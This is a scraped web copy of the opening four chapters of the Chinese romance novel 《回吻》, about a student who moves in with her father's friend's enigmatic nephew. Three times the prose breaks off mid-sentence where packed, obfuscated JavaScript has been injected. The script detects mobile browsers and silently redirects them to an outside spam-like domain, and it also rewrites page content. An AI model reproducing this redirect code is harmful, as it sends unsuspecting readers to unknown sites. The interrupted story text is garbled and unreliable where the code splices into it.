《回吻》 1. 回吻 《回吻》 文/回环冬 首发晋江文学城 - 好消息,孟纾语查到了她的录取结果,下个月,她就要去离家一千公里的京北念京大。 坏消息,被父亲要求住到别人家里。 “一定要住吗?”她转头盯着孟明德。 孟明德目不斜视地开车:“爸是为你好,你去那么远的地方上学,我又不能陪着你,平时没人照顾你我怎么放心?” 总被父亲当成无法独立的小孩子,实在一言难尽。 “爸,我承认我填志愿没跟你商量是我不对,但你也不能跟我提这种要求吧,你这是父爱绑架。” “啧,说什么呢你。今晚莱姨上我们家吃饭,你可不能这么跟人家说话。”孟明德又补一句,“哦,还有她外甥。” “......”这下好,集体绑架。 深色SUV在路边熄火,孟明德从牛皮钱包里抽出一张红的,“去,下去帮爸买瓶醋,给你做糖醋鱼吃。” 她默默接过现金,迎着落日余晖下了车。 过马路转了个弯,超市门口停着一辆惹眼的跑车,冷酷的银灰色,她兴趣不大,扫一眼就进了超市。 逛完调料区,拿着一瓶醋到收银台结账。 她排第三个,前面都是动作温吞的老人家,她耐心等着,视线落到透明橱窗外,正好能看见那辆跑车。 原来车里有人。 这时慢悠悠下来了一个,是个男的。 副驾车门关上,男生歪歪斜斜倚着车身,春风得意的脸庞转向侧后方,嘴里叽里呱啦说着什么。 紧接着主驾车门打开,另一人下来。 他动作闲适,下车后车门也懒得关,一手插兜,另手随意搭在车门顶上,骨节清晰的手指自然往下垂,极简的一身黑,高个子冷白皮,比车还扎眼。 他站的位置正好向阳,光束就这么毫无保留地照在他脸上,勾勒清晰锐利的五官,闲聊时笑意散漫。 虽然第一个下车的男人相貌也不差,但没有对比就没有伤害,孟纾语终于懂得什么叫鹤立鸡群。 “您好,结账吗?” 回过神,前面几人早走了,她快速上前,“对,结账。” 余光里,高个子男生倚靠车门点了根烟,抽一口就拿下来夹在手里,再也没抽过。 细碎火星燃在他指间,烟身澄黑色。 烟灰顺着他指间掉落,她心不在焉抬眸,两人冷不丁对上视线,短短几秒,他侵略性十足的眼神让她心头一紧。 匆忙挪开眼。 奇怪,又不认识,为什么这么看她。 “找您七十块五毛。” “好,谢谢。” 孟纾语拿走陈醋,从收银员手里接过找回的零钱。 刚要把钱揣进口袋,跑车引擎声势如破竹,炸遍整条街。 手一抖,一枚五毛硬币咣当掉地。 她弯腰捡起,心说什么人啊这是,还飙车,嫌命大吗。 回到车里,老孟果然开始吐槽:“刚才有人飙车,吓你老爸一跳,你以后开车千万不能像他那样,太不像话了,太坏了。” 孟纾语真诚点头,扣好安全带往中控台一瞥,有电话进来了。 老孟赶紧接通,一边倒车,“对对对,就快回去了,你先在楼底等会儿,我们马上就到啊。” 挂完电话,车子如离弦之箭朝前猛冲。 差点吓死,她攥着安全带缓神,转头盯住老孟:“奇怪,我之前怎么不知道有一个叫邢美莱的阿姨?” “哎,人家太忙了,以前没空来看你嘛。”老孟避重就轻地说,“待会儿看见她,你就想起来了。” - “小语好呀,还记得我吗?转眼都长这么大了,真漂亮。” 回到家,邢美莱跟她亲切交谈,面对她犯懵的表情,对方非常大度,“哎呀,不记得我也没关系,咱们重新认识一下,叫我莱姨就行。” “......好。” 莱姨浑身上下写着一个贵字,臂弯挎着的包很眼熟,孟纾语在网上刷到过明星同款,值一辆豪车绰绰有余。 邢美莱把挎包随意一放,一屁股坐她旁边。 不是很熟,再这么坐下去迟早要尬聊,她看准时机溜往厨房:“爸,我帮你洗菜。” “等等——”邢美莱一个箭步闪到跟前,“阿姨帮忙就行,你回去坐着,桌上有茶,喝茶啊乖乖。” 人笑眯眯走了,她冷不丁被拦在半路,一时分不清谁才是远道而来的客人。 她只好回到沙发闲坐,老孟的声音隐隐传来:“唉,考上了是好事,但我好不容易把她养这么大,又聪明又漂亮,我怎么舍得她去那么远的地方上学?你也知道,她小时候......唉,不说了,总之我觉得京北太远了,人生地不熟的,而且就北方那干巴巴的气候,她身体受得了吗?南北差异这么大,北方的菜她吃不惯的。” 一番铁汉柔情,孟纾语鼻梁一酸。 老孟话锋一转:“所以趁这个机会,要好好治治她挑食的臭毛病。” “......”好你个老孟。 “挑食怎么了?我偏让保姆做她爱吃的菜,就惯着她。”邢美莱一锤定音说,“等小语到了京北住进我们家,我一定把她捧在心尖上疼,你就别操心了。” 两人叨叨完,邢美莱走出厨房,半路打了个电话:“忙什么呢你,快七点了,赶紧过来,你孟叔做了一桌子菜呢。” 老孟在厨房里噼里啪啦炸小鱼,吱问一声:“是小屹吧?” “对,他马上就到。” 邢美莱一边踱步一边划手机,跟老孟隔空对话,“你看我朋友圈置顶了吧?邢屹从小帅到大,还特别乖,不抽烟不喝酒,精力全放在学习上,哦对,还是小语的学长,正好在学校有个照应,有他在我就放心了。” 能考进京大的学生必然成绩非凡,再听完这番描述,这个邢屹八成是个斯文睿智的老实学神。 这种出类拔萃的孩子,家长总是忍不住炫耀的,可以理解。 就像她出分那天,老孟的电子喜报轰炸了七八个棋友群,私下光是请人吃饭就花了大几万。 邢美莱满面春风,扩大分享范围:“小语没见过他,来,姨先给你看看照片。” 孟纾语假模假式摁着遥控器,转头扯一个笑:“好。” 邢美莱贴着她肩膀坐下,一边声情并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200960|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茂地介绍,一边点开相册,从男生小时候,一直滑到他长大后的照片,照片里的运动从马球、攀岩再到潜水,可见他的成长道路精彩纷呈。 孟纾语在最后几张照片上定住了。 这人......好眼熟。 “怎么样,这是他今年滑雪时拍的,是不是很帅很阳光?” 孟纾语觉得手上有蚂蚁在爬:“莱姨,他有没有一个......跟他长得很像的亲兄弟?” 邢美莱:“没有呀,他跟你一样,独生的。” ——“东西放哪儿?” 家门敞开着,这一声冷不丁传进耳朵,话音里有掩盖不住的少年气,像一捧碎冰落进烈酒,清爽明净又意气风发,让人心头一悸。 她慢半拍抬眸,撞进一双深静澄黑的眼。 对视间,他俊气的眉梢隐约往上挑了挑,她手指跟着一颤。 傍晚那份锐利的眼神和突发的引擎声杂糅,她脑子嗡嗡的。 这不纯属诈骗吗,这人哪里是安分守己的优等生。 “来来,这就是小语,认识认识。”邢美莱接过他手里的茶叶礼盒,大大方方把人领到她跟前。 她干巴巴站起来,他高出她一大截。 邢屹插着兜,清爽倦懒的少年气质,他微微偏额看着她,友善地笑了下:“是你。” 又补一句:“莱姨提过你。” 她不自然地笑:“你好。” 老孟从厨房探头:“哎哟,小屹你干嘛呀,不用拿这么多东西,你孟叔我就是卖茶叶的,大红袍家里多得是,回头给你们拿一些回去,都是好货。” 邢屹闻声转头,他不笑时眉眼凌厉,笑起来眼尾弯弯,干净又爽朗:“孟叔,莱姨说您是品茶的行家,特意多拿几款让您品鉴。” 老孟一下子被哄成三岁小孩了,笑得不亦乐乎:“行行,那我收下了,小屹真是懂事。” “......”半小时前你还骂人家坏呢,老孟你信吗,他就是那个飙车党。 “你们慢慢聊,我去帮老孟剥蒜。”邢美莱哼着小曲离开。 孟纾语重新坐下,攥着电视遥控器调节音量。 离她最远的位置已经放了一个包,邢屹折中坐在她一臂距离之外。 余光里,邢屹半个身子懒洋洋陷进沙发,自顾自划起手机,侧脸轮廓赏心悦目,干净耀眼的少年感。 她不禁怀疑自己的记忆。 超市门口碰见的那个人到底是不是他。 电视里的综艺开始博眼球,节目组让男女嘉宾共吃一根饼干棒,眼看就要亲上了。 起哄声热火朝天,她忽然闻到似有若无的葡萄柚香气,丝线似的,牵引她转移目光。 邢屹旁若无人搭起了二郎腿,这双腿是真的长,一只悬空的鞋尖几乎要顶到茶几。 书上写,这种坐姿的男人一般占有欲旺盛,甚至颇有心机,私下的性子比较恶劣。 或许这种说法有待验证,但他再怎样都好不到哪里去,她的第六感一向很准。 确定了,就是同一个人,衣服一样,身材一样,就连手背的青筋纹路都大差不离。 她暗中观察,邢屹突然戏谑出声:“迫不及待了?” 2. 回吻 心跳乱了一拍。 这人什么意思? “喂?”电话那头提高音量,“什么迫不及待啊,这不是后悔吗,当时没好意思上去要微信。嗐,不管了,本少爷有预感,她肯定还会去那家超市买东西,我明天就去门口蹲她,回京北之前一定要加上她微信。” 好吧,原来在打电话。 听筒里囔得风风火火,邢屹没说话,气定神闲拆一片口香糖嚼起来,漫不经心看综艺里的人接吻。 孟纾语收回视线,心如止水。 ... 饭桌上,老孟看准时机,提起让她念书期间暂住进莱姨家的事。 “不用麻烦的,我住宿舍就行。”孟纾语埋头吃饭。 “宿舍哪有自己的住处方便?宿舍空调老,床又小,有多少大学生盼着自己租房住呢,再说了,北方都是大澡堂子,你想洗个澡,一进门就有人光着屁股从你面前经过,你受得了吗?” 孟纾语转头看着老孟,为大澡堂子鸣不平:“那怎么了,别人都受得了,我有什么受不了的。” “那让你——”让你光着屁股从别人面前经过呢? 老孟果断咽了后半截话。这桌上还有一大男孩呢,不能让女儿尴尬。 邢屹坐在孟纾语对面,吃饭时礼貌有度,落落大方,闲聊时什么话题都能搭上,配合这张迷惑性极强的脸,简直备受长辈青睐。 孟纾语不动声色戳着碗里的米粒,心想这人到底有几副面孔,怎么大家都被他忽悠得一瘸一拐的,尤其是老孟。 “爸,你刚要说什么?” “没什么,先吃饭,这鱼好吃。”老孟开始装傻。 她知道他要说什么,不就是屁股吗? 每个人的屁股都差不多,时间一长就习惯了。 重点当然也不是屁股。既然要让女儿住进别人家里,好歹要给一笔钱吧,老孟非说没给,她才不信,肯定已经花了一大笔。 桌上四人安静吃饭,各有所思。 孟纾语心不在焉抬头,邢屹正在嚼东西,腮帮子轻轻动着,偶尔饶有兴致地瞥一眼桌面的涂鸦,是她七岁时画的,蚂蚁大战恐龙。 早知道拿块桌布盖上了。 其实邢屹这人吃饭,在旁人看来特别没食欲,他像那种每天随便吃点就能维持生命体征的人。 他似乎觉察出她的视线,撩起眼皮跟她对视,她移开眼,双腿不自然地动了一下,不小心撞到他鞋尖。 她整个人定住。 不知他是否误会她在挑衅,他眼睛眯了眯,一条腿突然往前一顶,她吓一跳。 好一个无妄之灾,她居家鞋都快掉了,双腿只好在桌底踮缩成一团。 趁长辈不注意,她用唇语说,对不起,我不是故意的。 邢屹眼底的玩味转瞬即逝,目光非常和善,同样方式回一句,不好意思,我也是不小心的,吓到你了? ......不小心的吗,怎么感觉像故意的。 她半信半疑,低头挑鱼肉里的小刺。 邢美莱看出小姑娘的顾虑,帮腔劝道:“小语,我跟你爸是一个想法,只希望你的日常生活方便些,阿姨喜欢你,把你接过去肯定会对你好的,你也不用觉得尴尬,我们家就两个人住,我又经常出差不在家,家里就你跟...诶诶,老孟你干嘛呢?” 孟纾语看一眼老孟。 他眉头都拧成川字了,就这么不放心她一个人在北方吗? 怪让人心疼的:“爸,你别......” 老孟倒吸一口凉气:“花、花椒,吃到花椒了!” “......” 吃完饭,这事还没敲定。 两个大人给她时间,让她认真想一想,她乖乖应下来,转头心安理得出门。 宁城的酒吧一条街绕着后湖,夜色下一片灯红酒绿。 末尾有一家小清吧,门口光线温然,时刻有年轻男女结伴经过,互相推搡谈笑。 一个齐肩发女生坐在门口台阶上划手机,酒保端着两杯火焰鸡尾酒出来巡视一圈,女生举手高呼,这这这,我的酒! 孟纾语等酒保离开,不动声色上前接过冒着火的鸡尾酒:“我们为什么不进去坐?” 毛婧婧蔫了吧唧:“今天倒霉死了,没约到位置,连吧台都满了。” “哦。”那就坐这吧。 “所以今晚来你家吃饭的邢屹,真是你在超市门口碰见的那个男生?”毛婧婧嘬着吸管问。 “嗯,就是同一个人。不过我爸挺喜欢他的。” “啧,能讨长辈欢心的人,都有点东西,更何况还长得帅。” 确实。 但他不像好人。 “孟孟,我发现了,帅哥起码还有一个帅字撑着,不像市面上那些渣瓜贱枣,除了丑一无是处。”毛婧婧在经历了一场失败的校园恋爱后,已经大彻大悟,“幸好我出分前就跟死黄毛分了,要是我放弃央美跟他一起报Y大的视觉传达,我下辈子就完了。唉,其实恋爱这东西吧,还是看别人谈才有意思。” 两人坐在清吧门口像俩吉祥物,孟纾语这张脸精致又清甜,很难不惹人注意,路过的潮男大着胆子过来要微信,不料被她拒绝。 其实刚才那个挺帅的,毛婧婧啧声:“不是吧,高考都结束了,你是真不想谈恋爱啊?” “不想。” 毛婧婧轻叹:“等上了大学就不一样了,说不定会碰见一个身高188帅气多金又专一的男人。” 音落,两人共同的视野里突然冒出一张脸。 对方惊喜:“孟纾语?” 男生青春期的变化太大,孟纾语花了五秒才想起来,这个高瘦的眼镜男是卓耀明。 卓耀明一屁股挤走毛婧婧,鸠占鹊巢。 “没想到在这遇见你,你考上哪个大学了?京大?F大?” 理都不想理他,孟纾语含着吸管嘬完最后一口酒:“跟你没关系。” “怎么没关系?”他凑近,“你初中转学之后把我Q.Q都删了,我想不通你干嘛要删我,搞得我难过好久,今晚好不容易碰见,我就关心关心你,不用这么冷漠吧,我们不是朋友吗?” “谁跟你是朋友。”她放下酒杯起身就走。 人已经走出三米远,卓耀明作势要跟上去,毛婧婧及时拽住他:“有病是吧,这么大个人了油盐不进,没看见人家不想理你吗?” “关你屁事,走开!” 孟纾语远离人群喧闹,经过一个露天停车场,不小心被路面小坑崴了脚,砰一声撞到人家车门。 一看车型,保时捷。 她瞬间就精神了,刚才撞哪了?没把车门刮花吧? 她全方位扫描式检查,生怕破财,视线一晃,透过半降的车窗看见一个熟悉的侧脸。 卓耀明冒冒失失的脚步声老远传来,她一鼓作气敲响车窗:“邢屹?邢屹!” 邢屹靠着座椅小憩,闻声睁开眼。 车窗玻璃全然降下,一双幽邃眼眸睨着她。 卓耀明就快追上来了,到时又是一阵死缠烂打,不如抓住眼前的机会小事化了,反正这车里塞她一个也不占地方,她扒在窗边恳求:“我遇到一点小麻烦,你能不能让我进车里躲躲?” 邢屹不置可否,眉梢轻轻一挑。 悠然地,车窗玻璃升上去了。 ? 果然,她就不该求助他! 算了算了,正要走,车门突然打开,她被一股力量卷进车里,整个人歪倒在座椅上,一阵淡香扑鼻而来,她如梦初醒。 ——“出来啊孟纾语!我知道你躲在这儿!” 任凭远处的声音有多急躁,邢屹气定神闲撑在她身上,解释得人模狗样:“不好意思,车门开关出了点问题。” 说完开始单手解开黑色衬衫的扣子。 这没头没尾的暧昧行径,她吓得几乎跳起来:“你要干嘛、唔! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车内光线昏昧,她不禁多想,万一他不是长辈口中安分守己的优等生,也不是一分钟前收放自如的演技派,而是实打实荤素不忌的混蛋呢。 难说这人究竟是好还是坏,她试探性推了推车门。 咔一声,没锁。 还好,利于脱险。 她悄咪咪把车门关好,转头撞上他意味不明的视线,两人干瞪几秒,他移开目光,胸腔震出轻嘲的笑,把座椅往后调一个舒服的斜度,拿起手机滑动。 气氛莫名尴尬,她亡羊补牢:“我是想开门看看那人走了没。” 他浑不在意地“嗯”了声。 沉默片刻,她突然想起一茬:“对了我想问一下,我爸是不是提前给了莱姨很多钱?” 邢屹一手垫在脑后,手机的光映在他脸上,他淡淡开口:“既然你能想到这个问题,答案早就摆在那儿了吧。” “......” 好吧,既然这样,那她也不想让老孟白费钱。 她拿起手机,给老孟发了条同意的消息。 这事就这么敲定了。 噔一声,车头突然跳上一只橘猫。 隔着玻璃,孟纾语一动不动盯了它好一会儿。 忽然说:“我去买根火腿肠把它引下去吧。” 于是她下车,跑向记忆里最近的便利店。 邢屹转了下脖子,懒洋洋把座椅调直。 他一手搭着车窗沿,转头发现车门旁边又来了一只猫。 邢美莱给他发消息,问他今晚是怎么劝小语同意的,效率这么高。 他没回,自顾把手伸出窗外悬空逗猫。猫以为他手里有吃的,后脚踮起来喵呜半晌。 他迎着晚风懒散笑了下。 “你还挺好骗。” 3. 回吻 孟纾语回来时,邢屹正倚在车旁看手机,她上前找猫,在他眼前晃了一圈。 他打开副驾车门:“猫走了。送你回去吧,省得又被人缠。” 他今晚帮了她,哪怕她对他仍有猜忌,相处起来也应该更客气些,不能驳人面子。 “那......谢谢你了。”她坐上副驾,怕他不认识路,系着安全带说,“从这里过去有点远,要不开导航吧,碧玺园南门。” 车子启动,一路无言。 孟纾语一直看着窗外飞驰的霓虹,玻璃上偶然出现他若隐若现的倒影。 “前面左转?”邢屹忽然问。 她转头扫了眼中控,原来没开导航。 “对,前面左转。”她观察着路况,有点好奇,“对了,你是自驾过来的吗?” “不是,之前在这儿留了个车库。” “哦......”原来这么有钱。 含着金汤匙出生,想必是个生性大方的人,尽管如此她还是不想欠他人情,落落大方地问:“这几天你还待在宁城吗?我可以陪你玩,莱姨说你喜欢运动,这里可以沿江骑行,你想去吗?” 邢屹懒洋洋转着方向盘,单手给车子拐个弯,“不喜欢那种枯燥的单人运动。” “......” 出乎意料,邢屹开车很稳,要是她不客气,还能在座椅上安心睡一觉。 半晌,车子缓缓开进小区,停在单元楼底。 孟纾语受莱姨之命,扫了邢屹的微信二维码,随后下车,回身绕到驾驶位窗边:“谢谢,你也早点回去吧,拜拜。” 邢屹靠着座椅,一只手臂懒懒搭在窗沿,偏额看着她,象征性抬了下手:“拜。” 孟纾语回到家,书房里亮着灯。 她轻手轻脚钻进去,孟明德背对着她坐在桌前查百度。 [哈佛权威研究报告!哲学系毕业真的找不到工作吗?] 孟纾语神出鬼没地靠近。 “老爸,干什么呢。” 老孟迅速退出界面,假装在刷新:“这么早就回来啦?没跟婧婧多聊会儿?” “聊完了。”她靠在桌边说,“爸,人生没有模版可以复制,我只想走自己想走的路,你别为我担心了。” “......知道的,爸都知道。” 老孟欲盖弥彰地起身,转头去拉窗帘看天气,孟纾语瞥见桌上的Q版摇头小摆件,她伸出食指,弹了弹秦始皇的头。 “哎,看来半夜要下雨。”老孟望着夜空,背影惆怅。 徐以婵女士生前喜欢北方的鹅毛大雪,最讨厌南方潮湿的下雨天。 她去世后,老孟满足亡妻树葬的愿望,可葬完又后悔了,这一年到头的,那棵树要受多少风吹雨淋。 孟纾语安慰:“爸,我看了天气预报,这雨下不长的。” “唉,那就好。” 老孟忧心忡忡地合上窗帘,回过身女儿已经不见了。 他走回桌前,登时咆哮:“孟纾语!你又把我秦始皇的头搞掉了?!” - 【“前方掉头”请求添加你为好友】 孟纾语洗完澡趴在床上,点了同意。 [嗨嗨,我是卓耀明~] “?”怎么是他。 都怪她手快误认,这家伙真是钻了空子,直接删掉算了。 不料卓耀明抢先:[别删我!让我在你列表躺尸也行,我不会打扰你的,别删我行吗?] 下一秒,邢屹同意好友的消息也弹出来。 她把聊天框切过去。 昵称是Xx,头像是一只蹲在草坪上的灰毛小狗,眼神乖巧清澈。 另一边,邢屹坐在车里犯懒,被朋友们催促着加入手游。 他正在筛选装备,彭霖激情开麦: “卧槽卧槽,我刷到了宁城一中公众号了,我女神在录取喜报上贴着呢!嘿嘿嘿我不用到超市门口蹲她了,缘分天注定,开学之后她就要叫我学长了!” 几个玩得好的兄弟叽里呱啦期待后续,就邢屹的麦毫无动静,彭霖问他是不是网卡了,怎么不吱声。 等到正式开局,邢屹操作着小人一脚把他踹沟里。 彭霖:“???” 邢屹打字在公屏:[脚滑了] 一局胜,孟纾语的消息弹出来。 [可以先给我一个那边的地址吗?我想先寄点东西过去] Xx:[颐云公馆 A-3-37] 她复制下来。 [谢谢] Xx:[车里有根火腿肠,留来给我当宵夜?] “......” [对不起,应该是从我口袋里掉出去的,本来要喂猫的,你处理掉吧] 几分钟后,邢屹低头看着吭哧吭哧干饭的大橘。 她小区里的流浪猫,个个圆得跟气球一样,系根绳就能飞上天了。 邢屹敞着腿坐在绿化丛的矮阶上,一腿抻直,另一腿曲着,一团猫球在他两腿中间。 Xx:[视频17秒] 孟纾语在视频里认出了猫。 她立刻到落地窗前拉开纱帘,手掌撑着玻璃,从五楼往下看,邢屹正好抬头,温融路灯勾勒他脸庞轮廓,她后知后觉,对上一份不甚凌厉却捉摸不透的眼神。 气氛微妙,她下意识合上纱帘,注意力回到手机上,在京大新生群里潜水。 有人问:[听说京大有个超绝的帅哥?] [有啊!] 一张氛围偷拍照紧接着甩出来。 群里瞬间炸锅。 [来人替朕刺探军情] [他单身吗] [你退下我先问] [本人有渠道要到他微信,有意请私聊,诚信经营(玫瑰玫瑰)] 孟纾语放大照片。 这不是邢屹吗。 她顿了会儿,再次回到窗前,扒开纱帘缝隙往下看。 夜色昏昧,邢屹和猫都不见了,楼下只有一盏路灯孤零零地照着。 - 转眼就八月,孟纾语收拾收拾准备飞往京北。 她和邢屹同一趟航班,老孟开车送他们到机场,一路依依不舍,老父亲的关心化作两个沉得夸张的行李箱。 下车,邢屹把她的行李箱拿到手里,少年劲瘦紧实的手臂线条展露在阳光下,难以言说的可靠感。 “孟叔,您回去吧。” “好好,有你陪着小语,我就放心了。你俩注意安全,落地了给我打电话啊。”老孟叨叨半天,终于舍得驾车离开。 航站楼入口前,孟纾语朝邢屹伸手:“很重的,我拎一个吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200962|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手还没碰到拉杆,行李箱已经被他轻轻松松拉走。 两人就这么一高一低并排走,她鞋带不小心散开,怕他走太快不等她,她装作不知道。 邢屹忽然停下来,不着痕迹地迁就:“鞋带散了。” “......哦。” 她蹲下系鞋带,邢屹气定神闲站在她面前,优越的身高自带锋利气场,让人心神不定,差点多系一个绳结。 傍晚按时登机,大家分散在机舱过道往行李架上放包,前排旅客毛手毛脚,她进座位时差点被那人的胳膊打到头,邢屹伸手护在她头顶,不经意给她挡住了。 回过头,他正在等她先进座位,他一手撑在头顶的行李架上,另一手云淡风轻地在手机上划划点点,她抬头看见他明显的喉结。 两人的座位挨着,她位置靠窗。 约莫两小时的航程,她缓存了一部悬疑片解闷。 没戴耳机,关闭音量看默片,进度条磨到半小时,开始出现亲密戏。 尺度挺大。 孟纾语下意识瞥了眼旁边的人。 邢屹正闭目小憩。 于是她心安理得继续看,不想快进,说不定下一秒就会出现原配捉奸的修罗场剧情。 谁知到了最后,抓马情节一直没出现,主线的案子也一直没破,她昏昏欲睡。 最后一秒的记忆停留在空姐经过,座椅前的小显示屏在她面前打转、溶解,视野模模糊糊变成黑色。 意识跳跃,她莫名其妙身处一间昏暗卧室,转身找出口时,一个坚硬滚烫的身躯突然将她压在门后。 一下喘不过气,心脏几乎震出胸腔,她颤颤巍巍抬头,对方已经用手蒙住她的眼睛。 他的掌心干燥又温热,压在她颤抖的眼皮上,她一时慌乱,抬手去拨弄蒙在眼前的手,心急如焚,“放开我,再不放手我就咬你了。” 他默不作声,呼吸落在她颈侧,很烫。 在吻她。 她身形一滞,僵硬和酥麻感接踵而来。 两具年轻滚烫的身躯紧密相贴,她双手抵住他结实的胸膛,他恶劣而放肆,在她脖子周围吻了一圈。 气息游移到她脸颊,亲吻的声音格外清晰,像骨骼里传来的,一下又一下叩动她酥软的脊骨,差点站不稳,他结实充血的手臂环住她细腰,强势又黏人,似乎体内有什么难以言喻的瘾,只能在她身上获得治愈。 霎那间耳尖泛痒,他既在吻她,又在咬她。 疼! 她从座椅上惊醒,小幅度喘气,意识还没缓过来,前排一个大叔回头皱眉:“小姑娘,你怎么踹我凳子呢?” “......” 刚要道歉,邢屹先云淡风轻地开口,“我踹的,给您道歉。” 大叔愣了下,艳羡的目光扫过他全身,回过头咕哝,这小伙子,腿咋这么长呢。 邢屹前一秒还在玩单机数独,孟纾语心悸之余跟他道了声谢,忙将手机屏幕扣到桌板上,结束害她做梦的影片。 邢屹不咸不淡划着手机,瞥一眼她泛红的耳朵:“做噩梦了?” 她慢半拍“嗯”了声,他又问是什么梦,她含糊其辞:“梦见......有人强迫我做了不好的事。” “这样啊。”邢屹懒声懒调的,“那他可真不是个东西。” 4. 回吻 入夜,飞机落地。 离开行李提取处,孟纾语接到电话。 “您好,瞬风快递,包裹到了。” 她快步跟上前面的人,一边说,“麻烦把东西放门口吧,谢谢。” “行,放门口了您记得拿。” 挂断电话,她低头划手机。 啪。 撞到一个坚硬身躯,葡萄柚的香味倏然散逸。 “对不起,刚在看消息。”她慌忙抬头看他。 邢屹回过身。 “撞到了?” 他迁就她的身高弯下腰,查看她额头。 他的呼吸近在咫尺,她下意识往后退了一步。 心想我又不是棉花做的,撞一下又不会散,你在检查什么? 邢屹的目光只在她额头停了两秒,旋即微微垂落。 视线缠上了。 他眼睛很好看,眼型深邃利落,瞳仁澄黑明亮,像轻而易举引人深陷的漩涡。 视野和意识统统被他填满,耳边的喧闹声逐渐减弱,静得空旷。 “还行,没撞坏。”他直起身子,手指在她额上轻轻弹了下,“走吧。” 孟纾语原地静了两秒,后知后觉跟上。 航站楼里人来人往,半路冒出个自称星探的男人给她塞名片。 “姑娘,加个联系方式嘛,长这么好看,明日之星非你莫属,哥带你拍电影挣大钱,考虑考虑?” 她摇头拒绝,男人紧追不舍。 邢屹就在这时回身,居高临下一记冷眼,男人立马怂了,溜得飞快。 终于明白,为什么老孟那么担心她出远门。 大都市的陷阱花样百出,她人生地不熟的,年纪又小,稍不留神就会被图谋不轨的人盯上。 邢屹放慢步伐与她并行,拿出手机拨通司机电话,边走边对她说:“最近骗子很多,提防着点。” “嗯,知道。” ... 机场载客区停了一辆深色宾利,司机刘叔为她拉开后座车门。 上车之后,邢屹优哉游哉玩他的数独,孟纾语打开软件看书,坐得离他很远。 车窗外大厦林立,树影飞驰,霓虹光影在后座游曳不定,两人的影子不断被拉长,重叠。 兜兜转转到了颐云公馆,车子停在别墅前。 硕大的快递包裹放在大门旁边,跟夜色混为一体,不知道的还以为半截冰箱蹲那儿了。 孟纾语正纠结要不要找邢屹帮搬,一回头他人已经不见了。 其实他根本没注意到快递,一进门就脱下短袖进了一楼浴室。 彭霖在这时打来视频。 “少爷你人呢?怎么给我看天花板啊?” 邢屹站在淋浴器下冲水,那边听见水声,“我靠,你怎么又在洗澡啊,坐个经济舱至于犯洁癖吗?” 邢屹把短发往后捋,闭眼冲走泡沫。 “洗澡犯法?废什么话。” 彭霖终于有屁就放:“有件怪事儿,我不是刚下飞机么,一下来我这心就怦怦跳。” “不跳你就死了。” “啧,我意思是,我的小孟一定也到京北了。” 邢屹嗤笑一声:“哪儿来的结论?” “心跳啊,心跳就是宇宙的感应。” “有病。” “这叫有缘!” 浴室外,孟纾语自力更生,用人类进化图阶段1的姿势推着快递箱,吭哧吭哧进了客厅。 “爸你说什么?我没听清,搬东西呢。”她侧头夹住手机,继续往前使劲,“搬书啊,房间里的书我都寄过来了。” “啊?那么重你一个人搬呐?” “还行吧,慢慢搬。” “那不行。”老孟沉吟几秒,“现在还早,我在小程序上雇两个师傅帮你搬。” “老爸,你花钱大手大脚的,肯定是跟楼下马大爷学坏了。” “......” 孟纾语像只辛勤蚂蚁,推着大大的饼干块前进,灵敏的触角感应到同类就在前方,有必要求助一下:“刘叔,可以帮我搬一下吗?” 脚步声停在面前,两人中间隔了个箱子,她茫然抬头。 清新的葡萄柚香扑鼻而来,邢屹一手拿毛巾擦拭短发,微垂视线睨着她,浑身上下就一条宽松的灰色运动裤,深黑色发梢往下滴水,晶亮的水滴滑过腹肌纹理,没入裤腰边缘藏匿的人鱼线。 孟纾语移开眼:“你要不......穿件衣服吧。” “什么?”电话里问。 “没,我说你记得晒衣服。” “哦,小屹呢?爸跟他聊聊。” “你等一下。我爸。”她把手机递给邢屹,他接过去,转身不知从哪勾了件短袖套上,“孟叔好。” 不知孟明德跟他说了什么,他一本正经地应“好”,其实懒散地陷在沙发里,翘起二郎腿,另手还在优哉游哉拿毛巾擦头发。 安置好箱子,邢屹正好跟老孟聊完。 保姆阿姨过来做晚饭,两人闲着也是闲着,邢屹带她了解这栋别墅的构造。 邢美莱常年出差在外,这房子严格来说只有邢屹一个人在住。 现在添了一个,两人的卧室仅一墙之隔,她希望彼此相安无事,谁也别招惹谁。 兜完一圈来到后院,她目光状似无意地沿着草坪寻觅。 邢屹瞥她一眼:“在找我头像那只狗?” 怎么一猜就准。 “嗯,我以为你养了狗。” “没养。” 可是那只狗也不像网图。 “那为什么把它设成头像?” “因为它是第一只敢咬我的狗。” “......”她愣了下,“那它现在在哪?” “在天堂。” 这上下句联系起来,不带前因后果,让人瘆得慌。 孟纾语摸了摸胳膊,凉飕飕的,北方的秋天来得真快。 邢屹漫不经心问:“冷了?进去吧。” “......好。” 吃完饭,她在房间浴室洗了澡,出来打开衣柜,几排衣服都是新的,来自一个意大利的牌子。 邢美莱简直把她当亲女儿,老孟都没给她买过单价过万的半身裙。 